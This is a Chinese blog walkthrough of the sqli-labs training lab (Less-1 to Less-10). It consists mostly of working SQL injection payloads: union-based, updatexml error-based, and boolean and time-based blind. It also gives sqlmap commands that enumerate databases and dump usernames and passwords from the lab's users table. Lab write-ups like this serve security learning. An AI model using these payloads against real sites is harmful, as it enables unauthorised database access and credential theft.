sqlilabs

page-1

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

1、

?id=-1'order by 4--+

2、

?id=-1'union select 1,2,3--+

3、

?id=-1'union select 1,2,database()--+

4、

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息

5、

查字段名 users

?id=-1' union select 1,2,group_concat(username) from security.users--+

查询密码

?id=-1' union select 1,2,group_concat(password)  from security.users --+

 

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

1、

?id=1 and 1=2 order by 4--+

2、

?id=1 and 1=2 union select 1,2,3--+

3、

?id=1 and 1=2 union select 1,2,database()--+

4、

?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 

5、

查用户名

?id=1 and 1=2 union select 1,2,group_concat(username) from security.users--+ 

 

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

1、

?id=-1') order by 4--+

2、

 

 ?id=-1') union select 1,2,3--+ 

3、

?id=-1')union select 1,2,database()--+

4、

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5、

?id=-1') union select 1,2,group_concat(username) from security.users--+?

 

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

1、

?id=-1") order by 4--+

2、

 ?id=-1") union select 1,2,3--+ 

3、

?id=-1")union select 1,2,database()--+

 

4、

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5、

?id=-1") union select 1,2,group_concat(username) from security.users--+?

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

1、

#获取当前数据库名称
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

2、

#获取当前数据库所有表名称
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s

3、

#获取当前数据库user表所有列名称
5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

4、

#获取当前数据库user表所有username和password的值
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s

注入报错可参考这篇博客:updatexml()报错注入_仰望星空world的博客-CSDN博客_updatexml

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

1、

1 ?id=1"

从报错可以判断出本关的闭合是双引号

2、

#获取当前数据库名称
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

3、

#获取当前数据库所有表名称
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s

4、

#获取当前数据库user表所有列名称
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

5、

#获取当前数据库user表所有username和password的值
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s

 

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

这个直接用脚本爆就行

脚本参考网上的

当然也可以用看源码发现需要用‘))闭合,使用burp爆库

 

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

1、首先输入正确的url

?id=1

能够知道本关的查询结果不回显

2、

?id=1'

发现页面没有任何响应

3、

?id=-1

发现还是一样

4、

效果和上图一样。这关可以用bool盲注。

同样,这关我们手工注入找闭合可以用burpsuite爆破。

 接下来的爆库,我在上一关代码的基础上做了修改

 

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

 本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的

1、

?id=1' and if(1=1,sleep(2),0)-- s

页面会过2s再刷新成功

2、

?id=1' and if(1=2,sleep(2),0)-- s

页面立刻刷新成功

3、

本关可以用基于时间的盲注

这关用sqlmap来试试,启动sqlmap并输入如下语句

.1

#获取所有数据库名称
sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --dbs

 

.2

#获取当前数据库
sqlmap "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --current-db 

 

.3

#获取数据库security所有表名称
sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --tables -D security

.4

#获取数据库security的users表的所有列名
sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --columns -D security -T users

.5

#获取数据库security的users表的username和password列的值
sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

用sqlmap来注入,payload和上一关差不多,但是要多加点参数(--technique T --level 3)

时间盲注真的很慢!!!能用别的就别用这个!!

 

 

posted @ 2022-04-20 22:00  heartBroken  阅读(92)  评论(0编辑  收藏  举报